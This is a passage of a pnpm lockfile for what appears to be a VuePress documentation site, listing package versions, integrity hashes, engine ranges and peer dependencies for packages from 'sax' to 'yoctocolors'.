sha512-4UHg6prsrycW20fqLGPShtEvo/WyHRVRHwOP4DzkUrObWoWI05QBSfzU71TVB7PFaL104TwNaHpjlWXAZbQiNQ==} - engines: {node: '>=14.0.0'} - hasBin: true - - sax@1.4.1: - resolution: {integrity: sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==} - - search-insights@2.15.0: - resolution: {integrity: sha512-ch2sPCUDD4sbPQdknVl9ALSi9H7VyoeVbsxznYz6QV55jJ8CI3EtwpO1i84keN4+hF5IeHWIeGvc08530JkVXQ==} - - section-matter@1.0.0: - resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} - engines: {node: '>=4'} - - semver@6.3.1: - resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} - hasBin: true - - semver@7.6.3: - resolution: {integrity: sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==} - engines: {node: '>=10'} - hasBin: true - - serialize-javascript@6.0.2: - resolution: {integrity: sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==} - - set-blocking@2.0.0: - resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} - - set-function-length@1.2.2: - resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} - engines: {node: '>= 0.4'} - - set-function-name@2.0.2: - resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} - engines: {node: '>= 0.4'} - - shebang-command@2.0.0: - resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} - engines: {node: '>=8'} - - shebang-regex@3.0.0: - resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} - engines: {node: '>=8'} - - shiki@1.11.1: - resolution: {integrity: sha512-VHD3Q0EBXaaa245jqayBe5zQyMQUdXBFjmGr9MpDaDpAKRMYn7Ff00DM5MLk26UyKjnml3yQ0O2HNX7PtYVNFQ==} - - side-channel@1.0.6: - resolution: {integrity: sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==} - engines: {node: '>= 0.4'} - - signal-exit@3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - - signal-exit@4.1.0: - resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} - engines: {node: '>=14'} - - sitemap@8.0.0: - resolution: {integrity: sha512-+AbdxhM9kJsHtruUF39bwS/B0Fytw6Fr1o4ZAIAEqA6cke2xcoO2GleBw9Zw7nRzILVEgz7zBM5GiTJjie1G9A==} - engines: {node: '>=14.0.0', npm: '>=6.0.0'} - hasBin: true - - slash@5.1.0: - resolution: {integrity: sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==} - engines: {node: '>=14.16'} - - smob@1.5.0: - resolution: {integrity: sha512-g6T+p7QO8npa+/hNx9ohv1E5pVCmWrVCUzUXJyLdMmftX6ER0oiWY/w9knEonLpnOp6b6FenKnMfR8gqwWdwig==} - - source-map-js@1.2.0: - resolution: {integrity: sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==} - engines: {node: '>=0.10.0'} - - source-map-support@0.5.21: - resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} - - source-map@0.6.1: - resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} - engines: {node: '>=0.10.0'} - - source-map@0.8.0-beta.0: - resolution: {integrity: sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==} - engines: {node: '>= 8'} - - sourcemap-codec@1.4.8: - resolution: {integrity: sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==} - deprecated: Please use @jridgewell/sourcemap-codec instead - - speech-rule-engine@4.0.7: - resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==} - hasBin: true - - sprintf-js@1.0.3: - resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} - - stdin-discarder@0.2.2: - resolution: {integrity: sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==} - engines: {node: '>=18'} - - string-width@4.2.3: - resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} - engines: {node: '>=8'} - - string-width@7.2.0: - resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} - engines: {node: '>=18'} - - string.prototype.matchall@4.0.11: - resolution: {integrity: sha512-NUdh0aDavY2og7IbBPenWqR9exH+E26Sv8e0/eTe1tltDGZL+GtBkDAnnyBtmekfK6/Dq3MkcGtzXFEd1LQrtg==} - engines: {node: '>= 0.4'} - - string.prototype.trim@1.2.9: - resolution: {integrity: sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw==} - engines: {node: '>= 0.4'} - - string.prototype.trimend@1.0.8: - resolution: {integrity: sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ==} - - string.prototype.trimstart@1.0.8: - resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} - engines: {node: '>= 0.4'} - - stringify-object@3.3.0: - resolution: {integrity: sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==} - engines: {node: '>=4'} - - strip-ansi@6.0.1: - resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} - engines: {node: '>=8'} - - strip-ansi@7.1.0: - resolution: {integrity: sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==} - engines: {node: '>=12'} - - strip-bom-string@1.0.0: - resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} - engines: {node: '>=0.10.0'} - - strip-comments@2.0.1: - resolution: {integrity: sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==} - engines: {node: '>=10'} - - strip-final-newline@4.0.0: - resolution: {integrity: sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==} - engines: {node: '>=18'} - - supports-color@5.5.0: - resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} - engines: {node: '>=4'} - - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - - supports-preserve-symlinks-flag@1.0.0: - resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} - engines: {node: '>= 0.4'} - - temp-dir@2.0.0: - resolution: {integrity: sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==} - engines: {node: '>=8'} - - tempy@0.6.0: - resolution: {integrity: sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==} - engines: {node: '>=10'} - - terser@5.31.3: - resolution: {integrity: sha512-pAfYn3NIZLyZpa83ZKigvj6Rn9c/vd5KfYGX7cN1mnzqgDcxWvrU5ZtAfIKhEXz9nRecw4z3LXkjaq96/qZqAA==} - engines: {node: '>=10'} - hasBin: true - - to-fast-properties@2.0.0: - resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==} - engines: {node: '>=4'} - - to-regex-range@5.0.1: - resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} - engines: {node: '>=8.0'} - - tr46@1.0.1: - resolution: {integrity: sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==} - - ts-debounce@4.0.0: - resolution: {integrity: sha512-+1iDGY6NmOGidq7i7xZGA4cm8DAa6fqdYcvO5Z6yBevH++Bdo9Qt/mN0TzHUgcCcKv1gmh9+W5dHqz8pMWbCbg==} - - type-fest@0.16.0: - resolution: {integrity: sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==} - engines: {node: '>=10'} - - typed-array-buffer@1.0.2: - resolution: {integrity: sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ==} - engines: {node: '>= 0.4'} - - typed-array-byte-length@1.0.1: - resolution: {integrity: sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==} - engines: {node: '>= 0.4'} - - typed-array-byte-offset@1.0.2: - resolution: {integrity: sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA==} - engines: {node: '>= 0.4'} - - typed-array-length@1.0.6: - resolution: {integrity: sha512-/OxDN6OtAk5KBpGb28T+HZc2M+ADtvRxXrKKbUwtsLgdoxgX13hyy7ek6bFRl5+aBs2yZzB0c4CnQfAtVypW/g==} - engines: {node: '>= 0.4'} - - uc.micro@2.1.0: - resolution: {integrity: sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==} - - unbox-primitive@1.0.2: - resolution: {integrity: sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==} - - undici-types@5.26.5: - resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==} - - unicode-canonical-property-names-ecmascript@2.0.0: - resolution: {integrity: sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==} - engines: {node: '>=4'} - - unicode-match-property-ecmascript@2.0.0: - resolution: {integrity: sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==} - engines: {node: '>=4'} - - unicode-match-property-value-ecmascript@2.1.0: - resolution: {integrity: sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==} - engines: {node: '>=4'} - - unicode-property-aliases-ecmascript@2.1.0: - resolution: {integrity: sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==} - engines: {node: '>=4'} - - unicorn-magic@0.1.0: - resolution: {integrity: sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==} - engines: {node: '>=18'} - - unique-string@2.0.0: - resolution: {integrity: sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==} - engines: {node: '>=8'} - - universalify@2.0.1: - resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} - engines: {node: '>= 10.0.0'} - - upath@1.2.0: - resolution: {integrity: sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==} - engines: {node: '>=4'} - - upath@2.0.1: - resolution: {integrity: sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==} - engines: {node: '>=4'} - - update-browserslist-db@1.1.0: - resolution: {integrity: sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - - vite@5.3.4: - resolution: {integrity: sha512-Cw+7zL3ZG9/NZBB8C+8QbQZmR54GwqIz+WMI4b3JgdYJvX+ny9AjJXqkGQlDXSXRP9rP0B4tbciRMOVEKulVOA==} - engines: {node: ^18.0.0 || >=20.0.0} - hasBin: true - peerDependencies: - '@types/node': ^18.0.0 || >=20.0.0 - less: '*' - lightningcss: ^1.21.0 - sass: '*' - stylus: '*' - sugarss: '*' - terser: ^5.4.0 - peerDependenciesMeta: - '@types/node': - optional: true - less: - optional: true - lightningcss: - optional: true - sass: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - - vue-demi@0.14.9: - resolution: {integrity: sha512-dC1TJMODGM8lxhP6wLToncaDPPNB3biVxxRDuNCYpuXwi70ou7NsGd97KVTJ2omepGId429JZt8oaZKeXbqxwg==} - engines: {node: '>=12'} - hasBin: true - peerDependencies: - '@vue/composition-api': ^1.0.0-rc.1 - vue: ^3.0.0-0 || ^2.6.0 - peerDependenciesMeta: - '@vue/composition-api': - optional: true - - vue-router@4.4.0: - resolution: {integrity: sha512-HB+t2p611aIZraV2aPSRNXf0Z/oLZFrlygJm+sZbdJaW6lcFqEDQwnzUBXn+DApw+/QzDU/I9TeWx9izEjTmsA==} - peerDependencies: - vue: ^3.2.0 - - vue@3.4.34: - resolution: {integrity: sha512-VZze05HWlA3ItreQ/ka7Sx7PoD0/3St8FEiSlSTVgb6l4hL+RjtP2/8g5WQBzZgyf8WG2f+g1bXzC7zggLhAJA==} - peerDependencies: - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - vuepress-plugin-components@2.0.0-rc.52: - resolution: {integrity: sha512-mQRi0XzdUD025ewjBXlhlh948ReOcohMlBEdkxQVNZaLa5OM2mtZm8TJvN1MkSKeiTMZjtzARO1AJNGyhZWFpw==} - engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'} - peerDependencies: - artplayer: ^5.0.0 - dashjs: 4.7.4 - hls.js: ^1.4.12 - mpegts.js: ^1.7.3 - sass-loader: ^14.0.0 - vidstack: ^1.11.21 - vuepress: 2.0.0-rc.14 - peerDependenciesMeta: - artplayer: - optional: true - dashjs: - optional: true - hls.js: - optional: true - mpegts.js: - optional: true - sass-loader: - optional: true - vidstack: - optional: true - - vuepress-plugin-md-enhance@2.0.0-rc.52: - resolution: {integrity: sha512-4lED2FSelBbtBVE5Hon9FQpCgmG1xQbi3+rFrj/Aa1VF+8PTjqFdG4NkdRTx94beOeu/A5jvWp5TFWMbaXD7hA==} - engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'} - peerDependencies: - '@types/reveal.js': ^5.0.0 - '@vue/repl': ^4.1.1 - chart.js: ^4.0.0 - echarts: ^5.0.0 - flowchart.ts: ^2.0.0 || ^3.0.0 - katex: ^0.16.0 - kotlin-playground: ^1.23.0 - markmap-lib: ^0.17.0 - markmap-toolbar: ^0.17.0 - markmap-view: ^0.17.0 - mathjax-full: ^3.2.2 - mermaid: ^10.8.0 - reveal.js: ^5.0.0 - sandpack-vue3: ^3.0.0 - sass-loader: ^14.0.0 - vuepress: 2.0.0-rc.14 - peerDependenciesMeta: - '@types/reveal.js': - optional: true - '@vue/repl': - optional: true - chart.js: - optional: true - echarts: - optional: true - flowchart.ts: - optional: true - katex: - optional: true - kotlin-playground: - optional: true - markmap-lib: - optional: true - markmap-toolbar: - optional: true - markmap-view: - optional: true - mathjax-full: - optional: true - mermaid: - optional: true - reveal.js: - optional: true - sandpack-vue3: - optional: true - sass-loader: - optional: true - - vuepress-shared@2.0.0-rc.52: - resolution: {integrity: sha512-/Y5Qpl8ueqiggqFAyeJ9U2PhLyE7O5hl3r1k4vER/gKpaeYIqmPxf0ToJMFa3uc4luoNEe/9NJb6LJCrcPjFEA==} - engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'} - peerDependencies: - vuepress: 2.0.0-rc.14 - - vuepress-theme-hope@2.0.0-rc.52: - resolution: {integrity: sha512-QCfIxIQCFOUpJsOUEPi1QtLPUbKjA0alvjb5JJPMGvHqqP2HHOtSuTdoODqy1qWPUg2/GBR/OLjfpqs14joP+w==} - engines: {node: '>=18.19.0', npm: '>=8', pnpm: '>=7', yarn: '>=2'} - peerDependencies: - '@vuepress/plugin-docsearch': 2.0.0-rc.39 - '@vuepress/plugin-feed': 2.0.0-rc.39 - '@vuepress/plugin-prismjs': 2.0.0-rc.39 - '@vuepress/plugin-pwa': 2.0.0-rc.39 - '@vuepress/plugin-redirect': 2.0.0-rc.39 - '@vuepress/plugin-search': 2.0.0-rc.39 - nodejs-jieba: ^0.1.2 - sass-loader: ^14.0.0 - vuepress: 2.0.0-rc.14 - vuepress-plugin-search-pro: 2.0.0-rc.52 - peerDependenciesMeta: - '@vuepress/plugin-docsearch': - optional: true - '@vuepress/plugin-feed': - optional: true - '@vuepress/plugin-prismjs': - optional: true - '@vuepress/plugin-pwa': - optional: true - '@vuepress/plugin-redirect': - optional: true - '@vuepress/plugin-search': - optional: true - nodejs-jieba: - optional: true - sass-loader: - optional: true - vuepress-plugin-search-pro: - optional: true - - vuepress@2.0.0-rc.14: - resolution: {integrity: sha512-t902FYKFF2MavNQjm/I4gN8etl6iX4PETutu4c1Pt7qQjXF6Hp2eurZaW32O5/TaYWsbVG757FwKodRLj9GDng==} - engines: {node: '>=18.16.0'} - hasBin: true - peerDependencies: - '@vuepress/bundler-vite': 2.0.0-rc.14 - '@vuepress/bundler-webpack': 2.0.0-rc.14 - vue: ^3.4.0 - peerDependenciesMeta: - '@vuepress/bundler-vite': - optional: true - '@vuepress/bundler-webpack': - optional: true - - watermark-js-plus@1.5.2: - resolution: {integrity: sha512-iqgSeAfwnCKNpClmyjl7rhj0SEbt8j+MqZc6C3YKY5xjMdxlRMIOcnYdBYBiznzILVyJ6YbwxD5OMajK1D+uCA==} - engines: {node: '>=16.0.0'} - - webidl-conversions@4.0.2: - resolution: {integrity: sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==} - - whatwg-url@7.1.0: - resolution: {integrity: sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==} - - which-boxed-primitive@1.0.2: - resolution: {integrity: sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==} - - which-module@2.0.1: - resolution: {integrity: sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==} - - which-typed-array@1.1.15: - resolution: {integrity: sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA==} - engines: {node: '>= 0.4'} - - which@2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} - engines: {node: '>= 8'} - hasBin: true - - wicked-good-xpath@1.3.0: - resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==} - - workbox-background-sync@7.1.0: - resolution: {integrity: sha512-rMbgrzueVWDFcEq1610YyDW71z0oAXLfdRHRQcKw4SGihkfOK0JUEvqWHFwA6rJ+6TClnMIn7KQI5PNN1XQXwQ==} - - workbox-broadcast-update@7.1.0: - resolution: {integrity: sha512-O36hIfhjej/c5ar95pO67k1GQw0/bw5tKP7CERNgK+JdxBANQhDmIuOXZTNvwb2IHBx9hj2kxvcDyRIh5nzOgQ==} - - workbox-build@7.1.1: - resolution: {integrity: sha512-WdkVdC70VMpf5NBCtNbiwdSZeKVuhTEd5PV3mAwpTQCGAB5XbOny1P9egEgNdetv4srAMmMKjvBk4RD58LpooA==} - engines: {node: '>=16.0.0'} - - workbox-cacheable-response@7.1.0: - resolution: {integrity: sha512-iwsLBll8Hvua3xCuBB9h92+/e0wdsmSVgR2ZlvcfjepZWwhd3osumQB3x9o7flj+FehtWM2VHbZn8UJeBXXo6Q==} - - workbox-core@7.1.0: - resolution: {integrity: sha512-5KB4KOY8rtL31nEF7BfvU7FMzKT4B5TkbYa2tzkS+Peqj0gayMT9SytSFtNzlrvMaWgv6y/yvP9C0IbpFjV30Q==} - - workbox-expiration@7.1.0: - resolution: {integrity: sha512-m5DcMY+A63rJlPTbbBNtpJ20i3enkyOtSgYfv/l8h+D6YbbNiA0zKEkCUaMsdDlxggla1oOfRkyqTvl5Ni5KQQ==} - - workbox-google-analytics@7.1.0: - resolution: {integrity: sha512-FvE53kBQHfVTcZyczeBVRexhh7JTkyQ8HAvbVY6mXd2n2A7Oyz/9fIwnY406ZcDhvE4NFfKGjW56N4gBiqkrew==} - - workbox-navigation-preload@7.1.0: - resolution: {integrity: sha512-4wyAbo0vNI/X0uWNJhCMKxnPanNyhybsReMGN9QUpaePLTiDpKxPqFxl4oUmBNddPwIXug01eTSLVIFXimRG/A==} - - workbox-precaching@7.1.0: - resolution: {integrity: sha512-LyxzQts+UEpgtmfnolo0hHdNjoB7EoRWcF7EDslt+lQGd0lW4iTvvSe3v5JiIckQSB5KTW5xiCqjFviRKPj1zA==} - - workbox-range-requests@7.1.0: - resolution: {integrity: sha512-m7+O4EHolNs5yb/79CrnwPR/g/PRzMFYEdo01LqwixVnc/sbzNSvKz0d04OE3aMRel1CwAAZQheRsqGDwATgPQ==} - - workbox-recipes@7.1.0: - resolution: {integrity: sha512-NRrk4ycFN9BHXJB6WrKiRX3W3w75YNrNrzSX9cEZgFB5ubeGoO8s/SDmOYVrFYp9HMw6sh1Pm3eAY/1gVS8YLg==} - - workbox-routing@7.1.0: - resolution: {integrity: sha512-oOYk+kLriUY2QyHkIilxUlVcFqwduLJB7oRZIENbqPGeBP/3TWHYNNdmGNhz1dvKuw7aqvJ7CQxn27/jprlTdg==} - - workbox-strategies@7.1.0: - resolution: {integrity: sha512-/UracPiGhUNehGjRm/tLUQ+9PtWmCbRufWtV0tNrALuf+HZ4F7cmObSEK+E4/Bx1p8Syx2tM+pkIrvtyetdlew==} - - workbox-streams@7.1.0: - resolution: {integrity: sha512-WyHAVxRXBMfysM8ORwiZnI98wvGWTVAq/lOyBjf00pXFvG0mNaVz4Ji+u+fKa/mf1i2SnTfikoYKto4ihHeS6w==} - - workbox-sw@7.1.0: - resolution: {integrity: sha512-Hml/9+/njUXBglv3dtZ9WBKHI235AQJyLBV1G7EFmh4/mUdSQuXui80RtjDeVRrXnm/6QWgRUEHG3/YBVbxtsA==} - - workbox-window@7.1.0: - resolution: {integrity: sha512-ZHeROyqR+AS5UPzholQRDttLFqGMwP0Np8MKWAdyxsDETxq3qOAyXvqessc3GniohG6e0mAqSQyKOHmT8zPF7g==} - - wrap-ansi@6.2.0: - resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} - engines: {node: '>=8'} - - wrappy@1.0.2: - resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} - - xmldom-sre@0.1.31: - resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==} - engines: {node: '>=0.1'} - - y18n@4.0.3: - resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==} - - yallist@3.1.1: - resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} - - yargs-parser@18.1.3: - resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==} - engines: {node: '>=6'} - - yargs@15.4.1: - resolution: {integrity: sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==} - engines: {node: '>=8'} - - yoctocolors@2.1.1: - resolution: {integrity: sha512-GQHQqAopRhwU8Kt1DDM8NjibDXHC8eoh1erhGAJPEyveY9qqVeXvVikNKrDz69sHowPMorbPUrH/mx8c50eiBQ==} - engines: {node: '>=18'} - -snapshots: 